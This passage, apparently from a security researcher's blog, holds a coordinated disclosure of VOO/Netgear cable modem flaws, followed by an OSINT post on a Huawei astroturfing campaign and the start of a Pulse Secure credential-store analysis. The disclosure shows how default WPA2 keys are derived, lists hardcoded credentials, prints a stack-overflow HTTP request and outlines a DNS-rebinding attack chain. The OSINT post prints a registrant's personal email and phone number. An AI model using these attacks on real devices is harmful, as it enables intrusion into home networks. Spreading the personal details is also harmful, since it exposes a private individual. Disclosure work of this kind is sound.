nd6_ra_input: Processing router advertisement from fe80:xxxx::xxxx:xxxx:xxxx:xxxx on interface bcm2

These logs were messing with what bcm2dump was expecting from the console and our dumping process just failed. We fixed this by disabling router advertisment logging with this command:

CM> /ip_hal/nd_debug false

Finally we dumped firmware images, along with data from nvram:

./bcm2dump -v -P CG3700B dump /dev/ttyUSB0 flash image1 /tmp/image1.bin
./bcm2dump -vvv -P CG3700B dump /dev/ttyUSB0 nvram permnv /tmp/nvram.out
./bcm2dump -v -P CG3700B dump /dev/ttyUSB0 nvram dynnv /tmp/dynnv.out

It takes around 7 hours to dump the entire firmware so plan your day accordingly.

Firmware Analysis

ProgramStore Extraction

Firmware files are saved in ProgramStore file format. The format defines a custom header containing the date, versions, filename, and load address, and then the actual firmware compressed using LZMA.

00000000  c2 00 00 05 00 03 00 00  58 0f 1c cf 00 4b 8e c4  |........X....K..|
00000010  80 00 40 00 43 47 33 37  30 30 42 2d 31 56 32 46  |..@.CG3700B-1V2F|
00000020  53 53 5f 56 32 2e 30 33  2e 30 33 75 5f 73 74 6f  |SS_V2.03.03u_sto|
00000030  2e 62 69 6e 00 00 00 00  00 00 00 00 00 00 00 00  |.bin............|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 d6 5b 00 00  69 91 be 87 5d 00 00 00  |.....[..i...]...|
00000060  01 00 20 20 0e 00 0d 3a  28 ab ef 31 23 33 44 83  |..  ...:(..1#3D.|
00000070  db 18 9b 57 12 d9 ed 76  9b d2 8d 4c ad 5b 7f 7a  |...W...v...L.[.z|
00000080  0f 11 d2 c8 a8 77 99 48  98 fb 58 74 c2 b6 82 6e  |.....w.H..Xt...n|
00000090  74 89 bd 9f fb 21 63 03  40 1b dd 39 8b 6e a5 4f  |t....!c.@..9.n.O|

In order to decompress the firmware image, you need to build the ProgramStore utility from Broadcom:

git clone https://github.com/Broadcom/aeolus.git
cd aeolus/ProgramStore
make

Once built, you can use it to decompress the image:

./ProgramStore -f ~/research/voo/image1.bin -x
No output file name specified.  Using /home/quentin/research/voo/image1.out.
Signature: c200
Control: 0005
Major Rev: 0003
Minor Rev: 0000
Build Time: 2016/10/25 08:50:23 Z
File Length: 4951748 bytes
Load Address: 80004000
Filename: CG3700B-1V2FSS_V2.03.03u_sto.bin
HCS: d65b
CRC: 6991be87

Loading the firmware in Radare2

You can load the firmware in radare2 with the command below:

r2 -a mips -b 32 -m 0x80004000 -e 'cfg.bigendian=true' image1

Loading the firmware in Ghidra

When loading in Ghidra, you need to set the architecture to MIPS 32bit big endian:

You also need to set the right loading address:

You can define more precise memory mappings to speed up the analysis process but this falls out of the scope of this report.

Identifying function patterns

The firmware being a large statically linked raw binary stripped of all symbols, it can be challenging to identify functions precisely.

Our initial plan was to identify syscalls in the code to find their dedicated function wrappers and work our way from there. We couldn’t find any and after a rather long week-end we decided to contact the nice people of Lyrebirds who gave us CableHaunt.

They answer was eye opening:

you wont find many syscalls because syscalls is usually meant to interact with the kernel and the ecos firmware is always running in kernel space. So IO interactions will be done by directly accessing the coresponding memory address of that device.

They then shared some tactics with us:

sorting functions by amount of xrefs to them should get library functions on top, a function from the top of the list that do not call any other functions is most likely a library function
functions from the same library are compiled in the same object file before being linked into the final firmware, meaning they will be present in the same order (e.g. strncat is right after strlen)
use FLIRT

Understanding these few points was a game changer and although we did not get the time to play with FLIRT yet, it helped us a lot when reversing.

We also share some methods we used when reversing manually.

MD5 functions

Identifying MD5 related functions can be done by finding a function handling the MD5 transform table.

If you identified md5_transorm, md5_init, md5_final, and md5_update are just next to it.

String manipulation functions

Anything that references 0xFEFEFEFF and 0x80808080 is most likely a string manipulation function. These two values are used in code that checks if all bytes are non-zero.

The algorithm used was adapted from the Mac OS 9 stdCLib strcopy routine, which was originally written by Gary Davidian. It relies on the following rather inobvious but very efficient test: y = dataWord + 0xFEFEFEFF; z = ~dataWord & 0x80808080; if ( y & z ) = 0 then all bytes in dataWord are non-zero

Source: https://opensource.apple.com/source/Libc/Libc-262/ppc/gen/strlen.s.auto.html

Findings

The following sections document security vulnerabilities we have identified by reverse engineering the firmware code.

Insecure WPA2 PSK Generation

Reversing the SSID generator

VOO modems wireless access points have a default SSID set to “VOO-“, followed by six digits. We identified the function responsible for generating the default SSID at offset 0x803bd1b8. The function disassembly - with functions and parameters manually renamed - is provided below.

The SSID is generated by hashing one of the device’s MAC address in the form 0x%06X using MD5, and then using the first 6 bytes of the hash as integer modulo 10. A reference implementation in Python can be found in the dedicated repository, while a detailed diagram documenting each step is shown below.

Reversing the WPA PSK generator

The function just below the SSID generation (offset 0x803bd37c) takes care of generating the default PSK. The function disassembly - with functions and parameters manually renamed - is provided below.

The PSK is generated by hashing the access point MAC address in the form “0x%06X” using MD5, and then using bytes 5 to 12 included from the hash, casted as uppercase ASCII.

A reference implementation in Python can be found in the dedicated repository.

Exploiting Weak PSK

By putting a wireless interface in monitor mode, it’s possible to observe access points in the vicinity. We can then filter the ones with an SSID starting with “VOO-“ and a MAC address belonging to NETGEAR.

The access point MAC address is not the one used to generate the PSK but we can guess the right MAC address given that MACs are sequential on affected devices.

For example, these are the MAC addresses from our test setup:

MAC address	Interface	Comment
a4:2b:8c:a0:c0:b8	IP Stack1 - upstream LAN	Used to generate PSK
a4:2b:8c:a0:c0:b9	IP Stack5 - LAN
a4:2b:8c:a0:c0:ba	IP Stack6 - upstream LAN
a4:2b:8c:a0:c0:bb	AP MAC Address	Observed MAC
a4:2b:8c:a0:c0:bc	IP Stack3 - WAN

In order to guess the right MAC address, we can bruteforce the MAC address last octet and use the SSID value as an oracle to know if we got the right one. This would mean checking our oracle at most 255 times.

In experimental setups it seems the MAC used to generate the PSK is always the observed MAC - 0x03. We veried that assumption by deriving the SSID from the MAC address - 0x03 of all VOO access points indexed in WiGLE, and validating our results against indexed SSID (see section 6 for details on WiGLE dataset).

As we can see in the diagram below, 63% of affected devices use a “MAC distance” of three. This means that for all these devices, the derivation is immediate and a bruteforcing approach is not required.

We are confident that the remaining 37% percent use a MAC naming convention as predictable as this one, but with differing Organizationally Unique Identier between IP Stack6 and IP Stack1 interfaces.

A reference implementation of a network sniffer that guess pre-shared key of all affected devices in the vicinity is available in the dedicated repository.

Weak Default Credentials

Multiple default accounts with weak passwords have been identified:

MSO:changeme - can access the web interface over https://192.168.0.1:8443/
admin:admin - can access the router over Telnet or SSH via IP Stack1 interface, when these services are enabled. IP Stack1 is the interface exposed to the ISP OSS network.
readyshare:readyshare - DLNA/SMB account (not used by VOO at the moment)

Buffer Overflow

The web administration interface of the modem is riddled with calls to memory unsafe C functions such as strcpy, leaving the device vulnerable to remote buffer overflows.

It’s possible to trigger a stack overflow by sending an HTTP request such as the one displayed below. Sending the request will trigger a crash, with a detailed crash log (see next figure) provided by eCOS over serial or telnet connection.

POST /goform/controle?id=1205828651 HTTP/1.1
Host: 192.168.0.1
Content-Length: 596
Cache-Control: max-age=0
Authorization: Basic dm9vOkhSRExUV0tJ
Origin: http://192.168.0.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.0.1/controle.htm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Connection: close

text_keyword=a&text_block=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&text_allow=&Action_Add=Add&Action_Del=0&Action_Function=2

Will trigger a stack overflow:

>>> YIKES... looks like you may have a problem! <<< 

r0/zero=00000000 r1/at  =00000000 r2/v0  =80f6fcc4 r3/v1  =41414141
r4/a0  =00000000 r5/a1  =86489960 r6/a2  =80808080 r7/a3  =01010101
r8/t0  =86489860 r9/t1  =fffffffe r10/t2 =864897c0 r11/t3 =86489850
r12/t4 =00000001 r13/t5 =00416374 r14/t6 =696f6e5f r15/t7 =44656c3d
r16/s0 =815d9be5 r17/s1 =815d9ab4 r18/s2 =80f758d8 r19/s3 =815d9ac1
r20/s4 =815d9bcd r21/s5 =815d9bd9 r22/s6 =00000000 r23/s7 =815d9bf4
r24/t8 =00000000 r25/t9 =00000000 r26/k0 =00000005 r27/k1 =00000005
r28/gp =8161e5d0 r29/sp =86489850 r30/fp =864899ec r31/ra =8068069c

PC   : 0x806809d4    error addr: 0x41414141
cause: 0x00000014    status:     0x1000ff03

BCM interrupt enable: 18024085, status: 00000000
Instruction at PC: 0xac620000
iCache Instruction at PC: 0xafbf0000

entry 80680340  Return address (41414141) invalid.  Trace stops.

Task: HttpServerThread
---------------------------------------------------
ID:               0x00e8
Handle:           0x8648f2c0
Set Priority:     23
Current Priority: 23
State:            SUSP
Stack Base:       0x86483e0c
Stack Size:       24576 bytes
Stack Used:       4508 bytes

As we can see in the excerpt above, the return address has been overwritten with our payload (0x41414141).

We are highly confident that given enough reverse engineering effort, someone could craft a valid exploit to obtain stable remote code execution on the device. We base this assumption on already available resources documenting how to perform binary exploitation on eCOS modems [9][10].

Edit: since sending our report, we confirmed that hypothesis by writing a fully working exploit. You can find it here.

Remote Exploitation

VOO cable modems web administration interface is not directly exposed to the public Internet and can only be reached from customers local area network. However, attackers could target cable modems by getting customers to open a malicious web page. The malicious web page would execute JavaScript code exploiting the buffer overflow to gain remote code execution. To do so, the malicious code would need to bypass two security mechanisms: Same-origin Policy, and enforced authentication and authorization.

We discovered that affected devices are vulnerable to DNS rebinding attacks, which can be used to bypass the Same-origin policy. We also identified ways to obtain valid credentials due to an information leak affecting the Universal Plug and Play service exposed by the cable modem.

DNS Rebinding

The attacker registers a domain (such as attacker.com) and delegates it to a DNS server that is under the attacker’s control. The server is configured to respond with a very short time to live (TTL) record, preventing the DNS response from being cached. When the victim browses to the malicious domain, the attacker’s DNS server first responds with the IP address of a server hosting the malicious client-side code.

The malicious client-side code makes additional accesses to the original domain name (such as attacker.com). These are permitted by the Same-origin policy. However, when the victim’s browser runs the script it makes a new DNS request for the domain, and the attacker replies with a new IP address. In our case, they would reply with the cable modem default IP address (192.168.0.1).

Affected devices are vulnerable to DNS rebinding because they do not check the HTTP request Host header value. When the device receives a request for a domain that has been rebound, the Host header is set to the rebound domain (e.g. attacker.com). The device lacks preventative measures such as only allowing a Host header that is the device’s IP address (e.g. 192.168.0.1) or the device’s hostname (e.g. mymodem.voo).

Authentication

Affected devices enforce authentication on all of the web administration panel web pages. It is therefore required for the malicious client-side code to obtain valid credentials.

Hardcoded Accounts

A default account exists (MSO:changeme), but can only be used on https://192.168.0.1:8443. Given that it is an SSL/TLS service configured with an untrusted certificate, any request made to that URL will be blocked by the browser.

Therefore, the only way to send authenticated requests to the web administration panel is to obtain the password of the "voo" user. The "voo" user password being the wireless pre-shared key value, an attacker would need to derive the correct pre-shared key.

UPnP Information Leak

Netgear CG3700B devices expose a Universal Plug and Play service on their server by default. When requesting root device information from http://192.168.0.1/RootDevice.xml, the device returns an XML file with the Unique Device Name (UDN) set to uuid:upnp-InternetGatewayDevice-1_0- followed by the device’s IP Stack5 interface MAC address bytes in lowercase, without colons:

<?xml version="1.0" encoding="utf-8"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
--snip--
<modelNumber>CG3700B-1V2FSS</modelNumber>
<modelURL>http://www.netgear.com</modelURL>
<serialNumber>37P4547201B84</serialNumber>
<UDN>uuid:upnp-InternetGatewayDevice-1_0-a42b8ca0c0b9</UDN> <!--here-->
--snip--

Given that the IP Stack5 interface MAC address is simply the device’s IP Stack1 interface MAC address + 1 byte, and that IP Stack1 interface MAC address is used to derive the pre-shared key, we can take advantage of this information leak to derive the password used to authenticate on the web adminstration panel.

Authorization

State altering requests are protected against cross-site request forgery with an anti-CSRF token made of 10 random digits. This does not pose any problem for our exploit given that the victim’s browser will consider the malicious code to be executing under the same origin once the attacker’s domain is rebound to the cable modem’s IP address. The exploit script can simply request the page where the anti-CSRF token is set, parse it, and then use it when submitting subsequent requests.

End-to-End Attack Flow

A diagram demonstrating the complete end-to-end attack flow is visible below while a proof-of-concept page that remotely crash the device can be found in the dedicated repository.

Exposure Assessment

We downloaded data points from WiGLE to assess VOO exposure to these vulnerabilities. WiGLE (or Wireless Geographic Logging Engine) is a website for collecting information about the different wireless hotspots around the world. Users can register on the website and upload hotspot data like GPS coordinates, SSID, MAC address and the encryption type used on the hotspots discovered.

A big s/o to bobzilla from WiGLE who allowed me to get a research account so that I wouldn’t be rate limited by the Wigle API. Thanks man :)

We developed a script to pull data off the WiGLE API, with filters set to match access points with an SSID matching the VOO naming convention (i.e. "VOO-[0-9]{6}"), located in Belgium, and with the vendor being either Netgear or Technicolor. We obtained a total of 69763 unique data points and fed these results into an ELK stack (ElasticSearch, Kibana, Logstash) to perform analysis.

Sample Ratio We consider the behavior of independent wireless war drivers to be random, therefore reducing the probability of sampling errors. Making the hypothesis that VOO has approximately 400.000 customers with a dedicated cable modem, our dataset represents 17.44% of VOO’s entire cable modem park.

Vendor Distribution The observed vendor distribution within the sample is 20.4% Technicolor devices for 79.6% Netgear devices.

This distribution is for all devices scanned since the introduction of VOO cable modems. If we graph this distribution over time we observe a trend with Technicolor devices being introduced in 2016, with the distribution slowly reaching 50% by 2020. We do not know whether VOO customers are asked to replace their Netgear routers with Technicolor ones, but we will use this trend to calculate conservative estimates.

Vulnerability Age Considering that identified issues were not introduced by a firmware update, we can estimate for how long the vulnerabilities have been present by looking at when devices starts getting indexed by WiGLE. As we can see in the histogram below, first devices appear in March 2011. We can therefore estimate that vulnerabilities have been present for at least 9 years.

Total Affected Devices Given the overall vendor distribution presented above, we can estimate the total amount of affected devices in Belgium. If we make the hypothesis that VOO is making customers replace their Netgear routers with a Technicolor one, a conservative estimate based on vendor distribution observed in 2020 alone would place it at around 200.000. If VOO is not making their customers replace their Netgear router, the high estimate would place it at around 376.000 devices.

Exploitation in the Wild We are not aware of any active exploitation of these flaws at the moment. Given the relative stealthiness of the whole exploit chain and the lack of remote logging of crashes, we do not think VOO or its customers could detect it at this time.

Conclusion

In this report, we successfully demonstrated that an attacker in wireless reception range of a VOO cable modem could successfully derive the default WPA2 pre-shared key and obtain unauthorized access to a customer wireless LAN. We also demonstrated that the web administration panel is vulnerable to buffer overflows. By chaining these two vulnerabilities, attackers could fully compromise any VOO cable modem by just being in reception range.

By taking advantage of an information leak affecting the UPnP service descriptor and the lack of protection against DNS rebinding, we also demonstrated that the buffer overflows can be exploited by remote attacker on the Internet.

Bonus

You made it this far ? Here’s a video demonstration of a modem being remotely compromised as a token of my appreciation.

Your browser does not support the video tag.

Recommendations

Note: the recommendations below are the original recommendations before any interaction with VOO.

Insecure Wireless Pre-Shared Key While the pre-shared key derivation issue can technically be mitigated by deriving its value from a value unknown to the attacker (e.g. device serial number), doing so will lead to very serious business impact.

If VOO decides to deploy such a fix, all affected modems will have a pre-shared key that differs from the one visible on stickers attached to them. On top of that, the pre-shared key will need to be changed when the firmware update is applied, otherwise it can still be guessed. This will lead all VOO customers using the affected models to loose connectivity to their access points. If these customers get in touch with VOO helpdesk, the helpdesk can no longer help them by asking them to look at the sticker on the back. Given that the password to access the web interface is equal to the pre-shared key, customers will not be able to access the interface to get their newly updated pre-shared key.

We recommend VOO to act transparently by issuing a security advisory explaining the situation and recommending their customers to change the default pre-shared key if they are still using it. Not doing so is equal to leaving all their customers wireless LAN open for anyone.

Buffer Overflows We recommend VOO to get in contact with NETGEAR, asking them for an updated firmware version that fix these insecure calls to strcpy. If required, a detailed list of insecure calls we have identified can be provided, along with a detailed technical report on binary exploitability.

Default Credentials We recommend VOO to change these default credentials by using DOCSIS configuration files deployed to affected modems when they register on the network. Please note that these credentials can still be captured by someone with physical access to a cable modem serial console.

Side Note on Technicolor We did not look at the Technicolor TC7210.V cable modem provided by VOO for lack of having access to one. We therefore cannot say with enough confidence whether it is affected by similar issues or not.

Coordinated Disclosure Timeline

Date	Item
12/05/2020	An email is sent out to CERT.be asking for a security contact at VOO.
14/05/2020	We send the technical report to CERT.be
04/06/2020	VOO gets back to us, ask for a copy of the report.
05/06/2020	We send the technical report to VOO.
23/06/2020	Initial meeting with VOO, including CTO, CSO, and heads of engineering.
07/08/2020	Meeting with VOO to discuss update deployment.
05/11/2020	Meeting with VOO to discuss progress.
06/01/2021	Meeting with VOO to discuss progress (75% of the park is patched at that point).
27/01/2021	Meeting with VOO to coordinate release. They mention that 15.000 modems still needs to be patched.
10/02/2021	VOO asks to coordinate a press release with their public relations department. Asks to push the release date again, mentioning that at least 25.000 modems still needs to be patched.
24/02/2021	Meeting with VOO to discuss publication, close to 97% of modems are patched.
26/02/2021	Emergency call, the last 6000 deployments to patch have set-top boxes connecting over WiFi. Set-top boxes starts bootlooping when the patch is applied to the modem.
04/03/2021	Meeting with VOO, set top box issues have been fixed. More than 99% od modems are patched, coordinating press release.
09/03/2021	Release of the full report.
12/03/2021	Someone with a Netgear CG3100 from VOO adapted the proof-of-concept and confirmed to me that this model is also affected. I contact VOO so they check if they still have CG3100 on their network and if they were part of the patch roll out.

Security Contact During the disclosure process I advocated for VOO to get a security contact page on their website. This was a major pain point when I tried to report things in the first place. I could not find anything and had to bother CERT.be (sorry folks) for a contact there.

They listened and even setup a coordinated disclosure policy page, that follows the Cybersecurity Centre Belgium recommendations. They chose the “reponsible disclosure” wording, which I don’t appreciate, but well, at least they got a PGP key now.

References

Cable Haunt, Lyrebirds ApS, https://ida.dk/media/6353/jens-h-staermose.pdf
Kablonet WiFi Password, mustafadur, https://www.mustafadur.com/blog/kablonet/
Do not create a backdoor, use your provider one, Kudelski Security, https://research.kudelskisecurity.com/2017/01/06/do-not-create-a-backdoor-use-your-providers-one/
Hacking the Cable Modem: What Cable Companies Don’t Want You to Know, DerEngel, https://books.google.be/books/about/Hacking_the_Cable_Modem.html?id=PblPcRqHM0wC
Hacking the Cable Modem, Samuel Koo, Jihong Yoon, https://www.slideserve.com/kiaria/hacking-the-cable-modem-part-1
A Case Study in Practical Security of Cable Networks, Amir Alsbih, Felix C. Freiling, and Christian Schindelhauer, https://link.springer.com/content/pdf/10.1007%2F978-3-642-21424-0_8.pdf
Aeolus, Broadcom, https://github.com/Broadcom/aeolus
bcm2-utils, Joseph C. Lehner, https://github.com/jclehner/bcm2-utils
Sagemcom Fast 3890 Exploit, Lyrebirds ApS, https://github.com/Lyrebirds/sagemcom-fast-3890-exploit
Technicolor TC7230 exploit, Lyrebirds ApS, https://github.com/Lyrebirds/technicolor-tc7230-exploit

Huawei Weird Attempt at Astroturfing Brussels

Tue, 29 Dec 2020 10:00:00 +0000

Starting around mid-december 2020, I started receiving a lot of sponsored content from Huawei about the decision that Belgium authorities took to block Huawei 5G gear from being deployed. The campaign was quite aggressive, so I took screenshots with the idea of coming back to it in the future.

In the meantime, excellent investigative work have been produced by people on the subject, one Twitter thread by Michiel van Hulten, and a journalistic piece by Rien Emmery. I’m really glad belgian journalists caught onto this and released a piece of that quality, nice work Rien !

However, most of the investigative work that they performed overlooked the technical aspects of open source intelligence gathering. My objective with this post is to provide something similar to IOCs linked to this misinformation campaign launched by Huawei.

Making the first connection

The starting point is the emitter of promoted tweets “Mike BAI”. So I downloaded all tweets from their timeline using twint:

twint -u Mike_IMC -tl --year 2020 -o mike_imc_all.json --json

I then filtered on tweets that mention Belgium and resolved the shortened URLs to get a set of websites that are shared by that persona.

One site caught my attention: dwire.eu. Two articles were repeatedly shared by actors behind this campaign:

“The Corruption: Unpacking Belgium’s BlackBox Operation” - https[://]dwire[.]eu/index.php/2020/12/14/the-corruption-unpacking-the-black-box/
“The 5G decision in the BlackBox” - https[://]dwire[.]eu/index.php/2020/12/11/the-decision-over-5g-is-going-into-black-box-operation/

The dwire website starts appearing aroung November 2020, most content is about Huawei (archive link: https://web.archive.org/web/20201101031207/https://dwire.eu/).

The site is a simple Wordpress install and the system’s administrators were so kind to leave directory indexing enabled, so we can look at uploaded files.

We have an import logs file and corresponding import file that shows content has initially been imported from another website: huaweiadvisor.com.

This is where we get a first fault. All domains so far are protected by Cloudflare and the whois data is hidden, but not this time:

whois huaweiadvisor.com
--snip-- 
 Registrant Name: John A
 Registrant Organization: FOA
 Registrant Street: 3296  Godfrey Street
 Registrant City: Portland
 Registrant State/Province: Oregon
 Registrant Postal Code: 97002
 Registrant Country: US
 Registrant Phone: +1.5032084626
 Registrant Phone Ext:
 Registrant Fax:
 Registrant Fax Ext:
 Registrant Email: alkavinraj@gmail.com
 Registry Admin ID: Not Available From Registry
 >>> Last update of WHOIS database: 2020-12-29T09:41:09Z <<<

Looking up that email, I found the guy’s Youtube channel. All content is about Huawei.

And this hostname does not resolve to a Cloudflare IP, but a hosting provider in India (Servercake Webhosting India Pvt Ltd):

dig +short huaweiadvisor.com 
103.125.80.10

At this point, I made the hypothesis that if the content of huaweiadvisor.com was imported into dwire.eu, both sites might be hosted on the same server. To verify that, I edited my hosts file so that traffic for dwire.eu would go directly to the huaweiadvisor.com site without going through Cloudflare.

Editing /etc/hosts with the following line:

103.125.80.10   dwire.eu

And it worked ! Certificate is valid and everyting:

openssl s_client -connect dwire.eu:443
CONNECTED(00000003)
depth=2 O = Digital Signature Trust Co., CN = DST Root CA X3
verify return:1
depth=1 C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3
verify return:1
depth=0 CN = dwire.eu
verify return:1
---
Certificate chain
 0 s:CN = dwire.eu
   i:C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3
 1 s:C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3
   i:O = Digital Signature Trust Co., CN = DST Root CA X3
---

The diagram below should help you understand what happens:

dwire.eu and huaweiadvisor.com are hosted on the same server but dwire.eu domain resolves to Cloudflare IP space so that its true origin can be hidden. However, given that we know the origin IP and that the server does not protect itself against Cloudflare bypass (e.g. by only trusting traffic coming from Cloudflare network), we can request the site by going over the dotted line to confirm our assumption that both sites resides on the same server.

Given that official Huawei accounts on Twitter are sharing content from huaweiadvisor.com, that content from dwire.eu was directly imported from huaweiadvisor.com, and that both sites are hosted on the same server, we can say with high confidence that this site is under the control of Huawei PR department and keep it for further investigation.

Continuing on pulling the thread, I obtained the list of acounts that tweeted links to dwire.eu:

twint -s "dwire.eu" -o dwire.json --json
cat dwire.json | jq -r '.username' | sort -u > dwire_propagators.txt

I then downloaded all tweets from these accounts since mid-october and looked up other links they shared.

for username in `cat dwire_propagators.txt`; do echo ${username}; twint -u ${username} -tl --since 2020-10-15 -o "${username}_all.json" --json; done

Resolve all URLs related to belgium:

for turl in `cat *all.json | jq -r '.tweet' | grep -i belg | grep -oP 'https://t.co/[A-z0-9]{10}' | sort -u`; do curl -s -I ${turl} | grep -i location | awk '{ print $2 }'; done | sort -u

The analysis of acquired URL is done in the next section.

“Influencer” blogs

These personal blogs from Johannes Drooghaag and Bill Mew were largely amplified by Huawei on Twitter:

https://johannesdrooghaag.com/belgie-en-5g-een-ingewikkelde-relatie/
https://johannesdrooghaag.com/belgium-and-5g-a-complicated-relationship/
https://billmew.substack.com/p/why-openness-and-transparency-pay

Misinformation Websites

Note: the links below will get you to Twitter search with the right keywords to see how these specific articles are amplified.

We first got our two articles from dwire.eu:

“The 5G decision in the BlackBox”

https://dwire.eu/index.php/2020/12/11/the-decision-over-5g-is-going-into-black-box-operation/

“The Corruption: Unpacking Belgium’s BlackBox Operation”

https://dwire.eu/index.php/2020/12/14/the-corruption-unpacking-the-black-box/

We then have the same articles repeated over different “news” sites:

“Belgian government is less than transparent on 5G law”

https://www.eureporter.co/politics/2020/12/14/belgian-government-is-less-than-transparent-on-5g-law/
https://www.london-globe.com/european-union/2020/12/14/belgian-government-is-less-than-transparent-on-5g-law/
https://www.newyorkglobe.co/2020/12/14/belgian-government-is-less-than-transparent-on-5g-law/

5G: If the Belgian government exclude specific suppliers, who will pay for it?

https://www.eureporter.co/world/belgium-world/2020/12/15/5g-if-the-belgian-government-exclude-specific-suppliers-who-will-pay-for-it/
https://www.toplinenews.eu/2020/12/16/5g-if-the-belgian-government-exclude-specific-suppliers-who-will-pay-for-it/

Mobile operators question Belgian Government’s motive for new 5G law”

https://www.eureporter.co/world/belgium-world/2020/12/16/mobile-operators-question-belgian-governments-motive-for-new-5g- law/
https://www.london-globe.com/european-union/2020/12/17/mobile-operators-question-belgian-governments-motive-for-new-5g-law/
https://www.newyorkglobe.co/2020/12/17/mobile-operators-question-belgian-governments-motive-for-new-5g-law/

Expert panel debates the proposed new Belgian 5G law

https://www.eureporter.co/world/belgium-world/2020/12/18/expert-panel-debate-the-proposed-new-belgian-5g-law/

All these sites are running Wordpress with some kind of “news site” template. Below are two screenshots of obvious fake:

New-York Globe

London Globe

BMGlobalNew

Belgian Telecom Watchdog

This is the IBPT/BIPT website:

https://www.bipt.be/operators/publication/consultation-on-the-bill-and-draft-royal-decree-introducing-additional-security-measures-for-the-provision-of-mobile-5g-services

Unknown Sites

I still don’t know how to classify these sites:

https://www.euractiv.com/section/5g/news/orange-and-proximus-in-belgium-to-replace-huawei-mobile-gear-with-nokia-kit/
https://www.techzine.be/blogs/infrastructure/58182/huawei-5g-belgie/
https://www.brusselstimes.com/all-news/belgium-all-news/121568/belgium-will-not-join-uk-in-banning-huawei-from-its-telecom-networks/

Legitimate Belgian Media

These sites are linked with quotes taken out of context:

https://www.tijd.be/politiek-economie/belgie/federaal/belgie-sluit-deur-niet-voor-huawei/10239037.html
https://www.lavenir.net/cnt/dmf20200703_01488447/orange-pas-favorable-a-une-restriction-sur-les-equipementiers-pour-la-5g

Is everything a Huawei front ?

Bot Amateur Hour

When your Python script fails and you end up tweeting 5G misinformation for a client from a fake camgirl account, without the link:

Conclusion

By fear of losing the Belgian market of 5G mobile network, Huawei launched an online misinformation campaign targeting people close to Brussels that work in IT, telco, security, or policy making. The campaign rely on a small network of “independent media” websites - some of them set up entirely for this specific campaign - publishing articles in favor of Huawei. These articles were then shared on Twitter by fake personas and Huawei officials to gain traction, which they failed to (we’re talking less than 200 tweets/retweets in total).

The argumentation put forth in the different articles seems to be addressed to belgian citizens and covers three areas: transparency, finance, and technological delay. On the subject of transparency, they want people to ask the belgian government for more transparency regarding the “high risk vendors” list selection process. On finance, they claim the current way things are done are slowing everything down, which will lead to increased costs that will be relfected on our wallets. The delay argument is also turned into “if the belgian government keep doing this, you’ll lose the technological race to 5G deployment”.

It weirds me out because there is zero chance this argumentation will work here. Were they planning on triggering grassroots movements pushing for the removal of Huawei from the “high risk vendor” list because they’re cheaper ?

Another hypothesis, which fits with the fact that they mostly used promoted tweets, is that they are executing a highly targeted campaigns focused on individuals with lobbying or decision making powers.

Or maybe they just want to slow everything down ? Or maybe they just suck at astro-turfing ? I don’t know.

Reversing Pulse Secure Client Credentials Store

Tue, 27 Oct 2020 10:00:00 +0000

In early 2019, I had to assess the latest version (at the time) of Pulse Secure Connect Client, an IPSEC/SSL VPN client developed by Juniper.

Given that the client allow end users to save their credentials, one of my tests included verifying how an attacker could recover them. The attacker perspective was simple: access to an employee’s laptop (either physical access or remote access with low privileges). Note that the ability to recover credentials can have serious effects given that they are almost always domain credentials.

Note: this blog post was cross-posted to Gremwell’s blog.

Credential Store Architecture

When a user selects the “Save Settings” option during authentication, their password is stored encrypted into the registry:

Windows Registry Editor Version 5.00

[HKEY_USERS\S-1-5-21-1757981266-1645522239-839522115-176938\Software\Pulse Secure\Pulse\User Data\ive:41ce2e38-289d-9b43-bbb1-d28a1dd6ec88]
"Password1"=hex:01,00,00,00,d0,8c,9d,df,01,15,d1,11,8c,7a,00,c0,4f,c2,97,eb,01,\
  00,00,00,34,22,f4,65,43,ed,5e,4a,80,01,a0,52,dc,f7,47,c0,00,00,00,00,02,00,\
  00,00,00,00,03,66,00,00,c0,00,00,00,10,00,00,00,39,04,e6,5e,41,9d,99,8b,ee,\
  fb,9a,7a,85,53,2b,7f,00,00,00,00,04,80,00,00,a0,00,00,00,10,00,00,00,bb,26,\
  da,ed,2f,7e,18,f6,4b,28,be,03,82,c5,9e,65,48,00,00,00,f0,78,73,26,e7,4b,9a,\
  4d,2a,b1,7f,a6,4e,4b,35,25,4a,c4,9e,04,c0,f8,eb,f7,04,50,d3,d8,78,b0,18,d9,\
  17,69,fb,5a,69,d6,c2,a1,35,d4,f6,66,25,15,f7,61,ee,a0,7e,8b,f5,5a,a7,a4,1a,\
  b4,2d,34,03,7d,06,d6,8a,4b,9e,18,d7,15,65,a2,14,00,00,00,6c,f7,84,15,7f,a4,\
  a8,e6,9a,5d,34,79,a7,16,97,0a,a6,10,17,07

The only reference to this format I could find is a request on ‘John the Ripper’ mailing-list asking if anyone looked into this before:

No one ever answered that email since 2014, so it’s time to dig into the code !

Static Analysis

I used procmon to get stack traces prior to calls to RegSetValueEXW and discovered that CryptProtectData is called just before saving data in the registry.

I then disassembled the main binary (./JamUI/Pulse.exe) with Radare2 and discovered that the client indeed rely on Windows Data Protection API (DPAPI) to encrypt credentials.

